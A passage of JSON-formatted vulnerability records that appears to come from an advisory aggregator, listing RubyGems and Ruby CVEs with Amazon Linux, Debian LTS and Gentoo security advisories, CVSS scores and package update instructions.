["2015-3900", "CVE-2015-3900"], "modified": "2015-05-14T00:00:00", "id": "RUBY:RUBYGEMS-UPDATE-2015-3900-122162", "href": "https://rubysec.com/advisories/2015-3900/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-04-21T02:33:22", "description": "RubyGems contains a flaw in the api_endpoint() function in remote_fetcher.rb\nthat is triggered when handling hostnames in SRV records. With a specially\ncrafted response, a context-dependent attacker may conduct DNS hijacking\nattacks. This vulnerability is due to an incomplete fix for CVE-2015-3900,\nwhich allowed redirection to an arbitrary gem server in any security domain.\n", "cvss3": {}, "published": "2015-06-08T00:00:00", "type": "rubygems", "title": "RubyGems remote_fetcher.rb api_endpoint() Function Missing SRV Record Hostname Validation Request Hijacking", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["2015-4020", "CVE-2015-3900"], "modified": "2015-06-08T00:00:00", "id": "RUBY:RUBYGEMS-UPDATE-2015-4020", "href": "https://rubysec.com/advisories/2015-4020/", "cvss": {"score": 0.0, "vector": "NONE"}}], "amazon": [{"lastseen": "2023-09-21T19:12:26", "description": "**Issue Overview:**\n\nRubyGems provides the ability of a domain to direct clients to a separate host that is used to fetch gems and make API calls against. This mechanism is implemented via DNS, specificly a SRV record _rubygems._tcp under the original requested domain. RubyGems did not validate the hostname returned in the SRV record before sending requests to it. (CVE-2015-3900)\n\nAs discussed upstream (https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478), CVE-2015-4020 is due to an incomplete fix for CVE-2015-3900, which allowed redirection to an arbitrary gem server in any security domain.\n\n \n**Affected Packages:** \n\n\nruby21\n\n \n**Issue Correction:** \nRun _yum update ruby21_ to update your system.\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 ruby21-devel-2.1.6-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby21-libs-2.1.6-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby21-2.1.6-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem21-bigdecimal-1.2.4-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem21-io-console-0.4.3-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby21-debuginfo-2.1.6-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem21-psych-2.0.5-1.17.amzn1.i686 \n \n noarch: \n \u00a0\u00a0\u00a0 rubygems21-2.2.3-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems21-devel-2.2.3-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby21-doc-2.1.6-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby21-irb-2.1.6-1.17.amzn1.noarch \n \n src: \n \u00a0\u00a0\u00a0 ruby21-2.1.6-1.17.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 ruby21-libs-2.1.6-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem21-bigdecimal-1.2.4-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby21-debuginfo-2.1.6-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby21-devel-2.1.6-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem21-psych-2.0.5-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby21-2.1.6-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem21-io-console-0.4.3-1.17.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2015-3900](<https://access.redhat.com/security/cve/CVE-2015-3900>), [CVE-2015-4020](<https://access.redhat.com/security/cve/CVE-2015-4020>)\n\nMitre: [CVE-2015-3900](<https://vulners.com/cve/CVE-2015-3900>), [CVE-2015-4020](<https://vulners.com/cve/CVE-2015-4020>)\n", "cvss3": {}, "published": "2015-06-16T10:30:00", "type": "amazon", "title": "Medium: ruby21", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2015-06-18T20:44:00", "id": "ALAS-2015-548", "href": "https://alas.aws.amazon.com/ALAS-2015-548.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-09-21T19:12:52", "description": "**Issue Overview:**\n\nRubyGems provides the ability of a domain to direct clients to a separate host that is used to fetch gems and make API calls against. This mechanism is implemented via DNS, specificly a SRV record _rubygems._tcp under the original requested domain. RubyGems did not validate the hostname returned in the SRV record before sending requests to it. (CVE-2015-3900)\n\nAs discussed upstream (https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478), CVE-2015-4020 is due to an incomplete fix for CVE-2015-3900, which allowed redirection to an arbitrary gem server in any security domain.\n\n \n**Affected Packages:** \n\n\nruby20\n\n \n**Issue Correction:** \nRun _yum update ruby20_ to update your system.\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 ruby20-2.0.0.645-1.27.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby20-devel-2.0.0.645-1.27.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby20-debuginfo-2.0.0.645-1.27.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem20-io-console-0.4.2-1.27.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem20-bigdecimal-1.2.0-1.27.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby20-libs-2.0.0.645-1.27.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem20-psych-2.0.0-1.27.amzn1.i686 \n \n noarch: \n \u00a0\u00a0\u00a0 rubygems20-devel-2.0.14-1.27.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems20-2.0.14-1.27.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby20-irb-2.0.0.645-1.27.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby20-doc-2.0.0.645-1.27.amzn1.noarch \n \n src: \n \u00a0\u00a0\u00a0 ruby20-2.0.0.645-1.27.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 ruby20-debuginfo-2.0.0.645-1.27.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem20-psych-2.0.0-1.27.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby20-libs-2.0.0.645-1.27.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby20-devel-2.0.0.645-1.27.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby20-2.0.0.645-1.27.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem20-bigdecimal-1.2.0-1.27.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem20-io-console-0.4.2-1.27.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2015-3900](<https://access.redhat.com/security/cve/CVE-2015-3900>), [CVE-2015-4020](<https://access.redhat.com/security/cve/CVE-2015-4020>)\n\nMitre: [CVE-2015-3900](<https://vulners.com/cve/CVE-2015-3900>), [CVE-2015-4020](<https://vulners.com/cve/CVE-2015-4020>)\n", "cvss3": {}, "published": "2015-06-16T10:30:00", "type": "amazon", "title": "Medium: ruby20", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2015-06-18T20:44:00", "id": "ALAS-2015-547", "href": "https://alas.aws.amazon.com/ALAS-2015-547.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-09-21T19:11:39", "description": "**Issue Overview:**\n\nRubyGems provides the ability of a domain to direct clients to a separate host that is used to fetch gems and make API calls against. This mechanism is implemented via DNS, specificly a SRV record _rubygems._tcp under the original requested domain. RubyGems did not validate the hostname returned in the SRV record before sending requests to it. (CVE-2015-3900)\n\nAs discussed upstream (https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-009/?fid=6478), CVE-2015-4020 is due to an incomplete fix for CVE-2015-3900, which allowed redirection to an arbitrary gem server in any security domain.\n\n \n**Affected Packages:** \n\n\nruby22\n\n \n**Issue Correction:** \nRun _yum update ruby22_ to update your system.\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 rubygem22-io-console-0.4.3-1.6.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-devel-2.2.2-1.6.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-libs-2.2.2-1.6.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-debuginfo-2.2.2-1.6.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem22-bigdecimal-1.2.6-1.6.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem22-psych-2.0.8-1.6.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-2.2.2-1.6.amzn1.i686 \n \n noarch: \n \u00a0\u00a0\u00a0 ruby22-doc-2.2.2-1.6.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby22-irb-2.2.2-1.6.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems22-devel-2.4.5-1.6.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems22-2.4.5-1.6.amzn1.noarch \n \n src: \n \u00a0\u00a0\u00a0 ruby22-2.2.2-1.6.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 ruby22-devel-2.2.2-1.6.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby22-libs-2.2.2-1.6.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem22-io-console-0.4.3-1.6.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby22-debuginfo-2.2.2-1.6.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem22-psych-2.0.8-1.6.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem22-bigdecimal-1.2.6-1.6.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby22-2.2.2-1.6.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2015-3900](<https://access.redhat.com/security/cve/CVE-2015-3900>), [CVE-2015-4020](<https://access.redhat.com/security/cve/CVE-2015-4020>)\n\nMitre: [CVE-2015-3900](<https://vulners.com/cve/CVE-2015-3900>), [CVE-2015-4020](<https://vulners.com/cve/CVE-2015-4020>)\n", "cvss3": {}, "published": "2015-06-16T10:30:00", "type": "amazon", "title": "Medium: ruby22", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2015-06-18T20:44:00", "id": "ALAS-2015-549", "href": "https://alas.aws.amazon.com/ALAS-2015-549.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "debian": [{"lastseen": "2021-10-22T12:53:44", "description": "Package : ruby2.1\nVersion : 2.1.5-2+deb8u5\nCVE ID : CVE-2016-2337 CVE-2018-1000073 CVE-2018-1000074\nDebian Bug : 895778 851161\n\nSeveral vulnerabilities were discovered in Ruby 2.1.\n\nCVE-2016-2337\n\n Type confusion exists in _cancel_eval Ruby&#x27;s TclTkIp class\n method. Attacker passing different type of object than String as\n &quot;retval&quot; argument can cause arbitrary code execution.\n\nCVE-2018-1000073\n\n RubyGems contains a Directory Traversal vulnerability in\n install_location function of package.rb that can result in path\n traversal when writing to a symlinked basedir outside of the root.\n\nCVE-2018-1000074\n\n RubyGems contains a Deserialization of Untrusted Data\n vulnerability in owner command that can result in code\n execution. This attack appear to be exploitable via victim must\n run the `gem owner` command on a gem with a specially crafted YAML\n file.\n\nFor Debian 8 &quot;Jessie&quot;, these problems have been fixed in version\n2.1.5-2+deb8u5.\n\nWe recommend that you upgrade your ruby2.1 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\nAttachment:\nsignature.asc\nDescription: PGP signature\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-27T20:25:50", "type": "debian", "title": "[SECURITY] [DLA 1480-1] ruby2.1 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337", "CVE-2018-1000073", "CVE-2018-1000074"], "modified": "2018-08-27T20:25:50", "id": "DEBIAN:DLA-1480-1:C4833", "href": "https://lists.debian.org/debian-lts-announce/2018/08/msg00028.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-22T13:44:51", "description": "Package : ruby2.1\nVersion : 2.1.5-2+deb8u4\nCVE ID : CVE-2015-9096 CVE-2016-2339 CVE-2016-7798 CVE-2017-0898\n CVE-2017-0899 CVE-2017-0900 CVE-2017-0901 CVE-2017-0902\n CVE-2017-0903 CVE-2017-10784 CVE-2017-14033 CVE-2017-14064\n CVE-2017-17405 CVE-2017-17742 CVE-2017-17790 CVE-2018-6914\n CVE-2018-8777 CVE-2018-8778 CVE-2018-8779 CVE-2018-8780\n CVE-2018-1000075 CVE-2018-1000076 CVE-2018-1000077\n CVE-2018-1000078 CVE-2018-1000079\nDebian Bug : 851161\n\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\nCVE-2015-9096\n\n SMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n\nCVE-2016-2339\n\n Exploitable heap overflow in Fiddle::Function.new.\n\nCVE-2016-7798\n\n Incorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n\nCVE-2017-0898\n\n Buffer underrun vulnerability in Kernel.sprintf.\n\nCVE-2017-0899\n\n ANSI escape sequence vulnerability in RubyGems.\n\nCVE-2017-0900\n\n DoS vulnerability in the RubyGems query command.\n\nCVE-2017-0901\n\n gem installer allowed a malicious gem to overwrite arbitrary files.\n\nCVE-2017-0902\n\n RubyGems DNS request hijacking vulnerability.\n\nCVE-2017-0903\n\n Max Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n\nCVE-2017-10784\n\n Yusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim&#x27;s terminal\n emulator when reading logs.\n\nCVE-2017-14033\n\n asac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n\nCVE-2017-14064\n\n Heap memory disclosure in the JSON library.\n\nCVE-2017-17405\n\n A command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n\nCVE-2017-17742\n\n Aaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n\nCVE-2017-17790\n\n A command injection vulnerability in lib/resolv.rb&#x27;s lazy_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n\nCVE-2018-6914\n\n ooooooo_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n\nCVE-2018-8777\n\n Eric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n\nCVE-2018-8778\n\n aerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n\nCVE-2018-8779\n\n ooooooo_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n\nCVE-2018-8780\n\n ooooooo_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n\nCVE-2018-1000075\n\n A negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n\nCVE-2018-1000076\n\n RubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n\nCVE-2018-1000077\n\n An improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n\nCVE-2018-1000078\n\n Cross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n\nCVE-2018-1000079\n\n Path Traversal vulnerability during gem installation.\n\nFor Debian 8 &quot;Jessie&quot;, these problems have been fixed in version\n2.1.5-2+deb8u4.\n\nWe recommend that you upgrade your ruby2.1 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\nAttachment:\nsignature.asc\nDescription: PGP signature\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-07-14T06:28:37", "type": "debian", "title": "[SECURITY] [DLA 1421-1] ruby2.1 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2018-07-14T06:28:37", "id": "DEBIAN:DLA-1421-1:5BC60", "href": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "gentoo": [{"lastseen": "2023-09-21T06:06:40", "description": "### Background\n\nRuby is an interpreted object-oriented programming language. The elaborate standard library includes an HTTP server (\u201cWEBRick\u201d) and a class for XML parsing (\u201cREXML\u201d). \n\n### Description\n\nMultiple vulnerabilities have been discovered in Ruby. Please review the referenced CVE identifiers for details. \n\n### Impact\n\nA remote attacker could execute arbitrary code, cause a Denial of Service condition, or obtain sensitive information. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Ruby users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-lang/ruby-2.2.8\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-10-18T00:00:00", "type": "gentoo", "title": "Ruby: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337", "CVE-2017-0898", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064"], "modified": "2017-10-18T00:00:00", "id": "GLSA-201710-18", "href": "https://security.gentoo.org/glsa/201710-18", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}